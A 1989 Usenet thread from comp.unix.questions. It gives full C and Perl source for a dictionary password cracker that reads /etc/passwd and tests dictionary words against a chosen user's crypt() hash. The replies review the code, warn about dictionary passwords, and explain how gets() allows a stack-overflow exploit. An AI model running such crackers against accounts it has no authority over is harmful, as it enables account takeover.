[comp.unix.questions] Password checking program

ccel@community-chest.uucp (CCEL) (07/28/89)

I'm still getting requests for that silly password checking program
I talked about last week, and I thought i'd posted the source here
to the net but people are still asking me for it. My mailer is, well,
terrible, so rather than sending out 20 copies of it and having half
of them come back to me, i'll post the source (again?). Sorry to all
of you who have seen this before ...

Remember to take my .sig off the end of this guy.

-------------------------------CUT HERE-----------------------------
/* Password hacking program					*/
/* Written by: Matt Hopkins (2138a3@gmuvax2.gmu.edu)		*/
#include <stdio.h>
#include <ctype.h>
#define NOTDONE 0
#define DONE 1
#define ENDOFFILE -1

void main()
{
  FILE *dict;
  FILE *passwd;
  char word[40],ch;
  char *userpass;
  char salt[3];
  int done=NOTDONE;
  char username[20],testname[20],garbage[120],hold[15];

  printf("Enter username to search for: ");
  gets(username);
  printf("Searching for '%s' ...\n",username);
    {
      passwd=fopen("/etc/passwd","r");
      while (done==NOTDONE)
	{
          fscanf(passwd,"%s",garbage);
          fscanf(passwd,"\n");
          strcpy(testname,strtok(garbage,":"));
          strcpy(hold,strtok(NULL,":"));
          salt[0]=hold[0];
          salt[1]=hold[1];
          salt[2]='\0';
          userpass=hold+2;
          if (strcmp(testname,username)==0) 
            done=DONE;
          else
            if (feof(passwd))
              done=ENDOFFILE;
        }
      if (done==ENDOFFILE)
        {
          strcpy(userpass,"NOTFOUND");
          puts("User not found in passwd file.");
        }
    }
  fclose(passwd);
  if (done!=ENDOFFILE)
    done=NOTDONE;
  dict=fopen("/usr/dict/words","r");
  ch=0;
  while (done==NOTDONE)
    {
      fscanf(dict,"%s\n",word);
      if ((word[0]>='a') && (word[0]>ch))
        {
          ch=word[0];
          printf("Now on the %c's (chug .. chug .. chug)\n",ch);
        }
      if (isupper(word[0])) word[0]+=32; 
      if (strcmp(userpass-2,crypt(word,salt))==0) 
        {
          printf("The password is '%s'\n",word);
          done=DONE;
	}
      if ((feof(dict)) && (done!=DONE))
        done=ENDOFFILE;
    }
  if (done==ENDOFFILE)
    puts("Sorry ... password not found in dict.\n");
  fclose(dict); 
}

-------------------------------CUT HERE-----------------------------
--------------------------------------
Randy Tidd                   MITRE-McLean CCEL Lab
rtidd@mitre.arpa             ccel%community-chest@gateway.mitre.org

merlyn@iwarp.intel.com (Randal Schwartz) (08/02/89)

In article <60964@linus.UUCP>, ccel@community-chest (CCEL) writes:
| I'm still getting requests for that silly password checking program
| I talked about last week, and I thought i'd posted the source here
| to the net but people are still asking me for it. My mailer is, well,
| terrible, so rather than sending out 20 copies of it and having half
| of them come back to me, i'll post the source (again?). Sorry to all
| of you who have seen this before ...
| 
| Remember to take my .sig off the end of this guy.
| 
| -------------------------------CUT HERE-----------------------------
| [long c program deleted]

Or, the same thing in Perl (v2.0)...
==================================================snip snip
#/usr/bin/perl
print "Enter username to search for: ";
chop($username = <stdin>);
print "Searching for '$username' ...\n";
open(PASSWD, "</etc/passwd") || die "Cannot open /etc/passwd ($!)";
while (<PASSWD>) {
	($thisuser,$passwd) = split(/:/);
	last if $thisuser eq $username;
}
die "User not found in passwd file." unless $_;
close(PASSWD);
open(DICT,"</usr/dict/words") || die "Cannot open /usr/dict/words ($!)";
$ch = '@';
while (<DICT>) {
	chop;
	printf "Now on the %s's\n", $ch = substr($_,0,1) unless /^$ch/i;
	print "The password is '$_'\n", last if crypt($_,$passwd) eq $passwd;
}
die "Sorry ... password not found in dict.\n" unless $_;
close(DICT);
==================================================snip snip

Just a satisfied Perl hacker...
-- 
/== Randal L. Schwartz, Stonehenge Consulting Services (503)777-0095 ====\
| on contract to Intel, Hillsboro, Oregon, USA                           |
| merlyn@iwarp.intel.com ...!uunet!iwarp.intel.com!merlyn	         |
\== Cute Quote: "Welcome to Oregon... Home of the California Raisins!" ==/

andy@syma.sussex.ac.uk (Andy Clews) (08/04/89)

From article <60964@linus.UUCP>, by ccel@community-chest.uucp (CCEL):
> I'm still getting requests for that silly password checking program
> [....]
>   if (done==ENDOFFILE)
>     puts("Sorry ... password not found in dict.\n");

I hope people have the good sense to use a non-dictionary password now that
programs like this are floating around the net.
-- 
Andy Clews, Computing Service, Univ. of Sussex, Brighton BN1 9QN, ENGLAND
JANET: andy@syma.sussex.ac.uk   BITNET: andy%syma.sussex.ac.uk@uk.ac
Voice: +44 273 606755 ext.2129

skilbane@zaphod.axion.bt.co.uk (Steven Kilbane) (08/07/89)

From article <1210@syma.sussex.ac.uk>, by andy@syma.sussex.ac.uk (Andy Clews):
> From article <60964@linus.UUCP>, by ccel@community-chest.uucp (CCEL):
>> I'm still getting requests for that silly password checking program
>> [....]
>>   if (done==ENDOFFILE)
>>     puts("Sorry ... password not found in dict.\n");
> 
> I hope people have the good sense to use a non-dictionary password now that
> programs like this are floating around the net.

Back at "home", /etc/passwd has the following rules for new passwords:
	1) At least 6 characters (5 if you use numbers as well as letters)
	2) No words which are in the dictionary (quite rapid check, too!).
It enforces these rules for the first two attempts, but doesn't bother on the
third. So you can use a stupid password if you want to :-).

("Home", incidentally, is University of York CS dept. Aha - that explains it!)
oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo-oOo
Stephen Kilbane                      |Email: skilbane@uk.co.bt.axion
British Telecom Research Laboratories|or smk-a@uk.ac.york.minster (or, if that
Martlesham Heath                     |doesn't work, root@uk.ac.york.softeng - 
Ipswich IP5 7RE (0473 646638)        |not me, but it may be passed on....
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Disclaimer: Who? Me? Nah - must have been someone else when my back was turned!
Quotes: "If silence is golden, music is platinum"
        "'You haven't lived till you've died in MUD' - I live a lot!"
        "(If platinum is to gold, what is to golden?)"[This space to rent]

rbj@dsys.ncsl.nist.gov (Root Boy Jim) (08/09/89)

? From: CCEL <ccel@community-chest.uucp>

? I'm still getting requests for that silly password checking program
? I talked about last week, and I thought i'd posted the source here

How about a more portable and safe version? Comments follow.

? Remember to take my .sig off the end of this guy.

You might have saved yourself some embarrassment if you had.

?  -------------------------------CUT HERE-----------------------------
? /* Password hacking program					*/
? /* Written by: Matt Hopkins (2138a3@gmuvax2.gmu.edu)		*/
? #include <stdio.h>
? #include <ctype.h>
? #define NOTDONE 0
? #define DONE 1
? #define ENDOFFILE -1

? void main()
? {
?   FILE *dict;
?   FILE *passwd;
?   char word[40],ch;
?   char *userpass;
?   char salt[3];
?   int done=NOTDONE;
?   char username[20],testname[20],garbage[120],hold[15];

?   printf("Enter username to search for: ");
?   gets(username);

Hmmm. Now if only I can get you to install this guy suid root
with a well known network port :-)

To explain that remark, `gets' is a dangerous function to use,
especially when an automatic variable is its target. By typing
averylongname, containing machine code, one can overwrite the
stack's return address and jump to the machine code. In fact,
such a technique was exploited by the Internet worm last November.

?   printf("Searching for '%s' ...\n",username);
?     {
?       passwd=fopen("/etc/passwd","r");
?       while (done==NOTDONE)
? 	{
?           fscanf(passwd,"%s",garbage);
?           fscanf(passwd,"\n");

Use fscanf(passwd,"%s\n",garbage);
In fact, avoid the use of fscanf (or scanf) altogether.
Use fgets followed by sscanf. Error recovery is easier.

?           strcpy(testname,strtok(garbage,":"));

Strtok is a System V routine, not generally found on BSD systems.
Why didn't you just use fscanf directly to parse the
colons and separate the username and passwd?

In fact, why didn't you use getpwent to find the username and
bypass this loop altogether?

?           strcpy(hold,strtok(NULL,":"));
?           salt[0]=hold[0];
?           salt[1]=hold[1];
?           salt[2]='\0';
?           userpass=hold+2;
?           if (strcmp(testname,username)==0) 
?             done=DONE;
?           else
?             if (feof(passwd))
?               done=ENDOFFILE;
?         }
?       if (done==ENDOFFILE)
?         {
?           strcpy(userpass,"NOTFOUND");
?           puts("User not found in passwd file.");
?         }
?     }
?   fclose(passwd);
?   if (done!=ENDOFFILE)
?     done=NOTDONE;
?   dict=fopen("/usr/dict/words","r");
?   ch=0;
?   while (done==NOTDONE)
?     {
?       fscanf(dict,"%s\n",word);

Another good use for fgets.

?       if ((word[0]>='a') && (word[0]>ch))
?         {
?           ch=word[0];
?           printf("Now on the %c's (chug .. chug .. chug)\n",ch);
?         }
?       if (isupper(word[0])) word[0]+=32; 

How about using tolower?

?       if (strcmp(userpass-2,crypt(word,salt))==0) 
?         {
?           printf("The password is '%s'\n",word);
?           done=DONE;
? 	}
?       if ((feof(dict)) && (done!=DONE))
?         done=ENDOFFILE;
?     }
?   if (done==ENDOFFILE)
?     puts("Sorry ... password not found in dict.\n");

Sorry? That's GOOD news!

?   fclose(dict); 
? }

I won't bother too much with style matters, except to say that
both of your loops could use `for(;;)' and `break'.

?  -------------------------------CUT HERE-----------------------------
?  --------------------------------------
? Randy Tidd                   MITRE-McLean CCEL Lab
? rtidd@mitre.arpa             ccel%community-chest@gateway.mitre.org

	Root Boy Jim
	Have GNU, Will Travel.

ndd@macbeth.cs.duke.edu (Ned D. Danieley) (08/09/89)

In article <20557@adm.BRL.MIL> rbj@dsys.ncsl.nist.gov (Root Boy Jim) writes:
>? From: CCEL <ccel@community-chest.uucp>
>
>? I'm still getting requests for that silly password checking program
>? I talked about last week, and I thought i'd posted the source here
>
>How about a more portable and safe version? Comments follow.
>
>? Remember to take my .sig off the end of this guy.
>
>You might have saved yourself some embarrassment if you had.
>

Another problem is:
...
>? #define ENDOFFILE -1
...
>?               done=ENDOFFILE;

some compilers will interpret this as the old =- assignment
operator. this is one place where style can really make a difference:

	done = ENDOFFILE;

is easier to read and doesn't piss off cc.



Ned Danieley (ndd@sunbar.mc.duke.edu)
Basic Arrhythmia Laboratory
Box 3140, Duke University Medical Center
Durham, NC  27710
(919) 684-6807 or 684-6942

ccel@chance.uucp (CCEL) (08/10/89)

In article <15257@duke.cs.duke.edu> ndd@macbeth.UUCP (Ned D. Danieley) writes:
>In article <20557@adm.BRL.MIL> rbj@dsys.ncsl.nist.gov (Root Boy Jim) writes:
>>? From: CCEL <ccel@community-chest.uucp>
>>
>>? I'm still getting requests for that silly password checking program
>>? I talked about last week, and I thought i'd posted the source here
>>
>>How about a more portable and safe version? Comments follow.

As I (probably) said, I didn't write the code, I just borrowed it from
my roommate because there was so much interest in it.  I should have gone
through it to check the portability and syntax of it, but I didn't.


>Another problem is:
>...
>>? #define ENDOFFILE -1
>...
>>?               done=ENDOFFILE;
>
>some compilers will interpret this as the old =- assignment
>operator. this is one place where style can really make a difference:
>
>	done = ENDOFFILE;
>
>is easier to read and doesn't piss off cc.

You could just do

#define ENDOFFILE (-1)

and that should make everybody happy ... I got into the habit of throwing
around parenthesis a lot on #defines (especially in macros), they can't
hurt and certainly make the code more durable.

Randy Tidd                   MITRE-McLean CCEL Lab
rtidd@mitre.arpa             ccel%community-chest@gateway.mitre.org
#define DISCLAIM TRUE

rbj@dsys.ncsl.nist.gov (Root Boy Jim) (08/15/89)

? From: Root Boy Jim <rbj@dsys.ncsl.nist.gov>

? How about a more portable and safe version? Comments follow.

I have some further comments about my previous comments. I received
private mail stating that perhaps I was too hard on Randy. I do not
wish to discourage Randy and other novice posters from posting source.
However, I do feel that any posting having anything to do with
security should be on a higher level than other postings.

Please construe my comments as they were intended; as helpful hints
and suggestions to make the program better and more usable to a
wider audience.

? ? Randy Tidd                   MITRE-McLean CCEL Lab
? ? rtidd@mitre.arpa             ccel%community-chest@gateway.mitre.org

	Root Boy Jim
	Have GNU, Will Travel.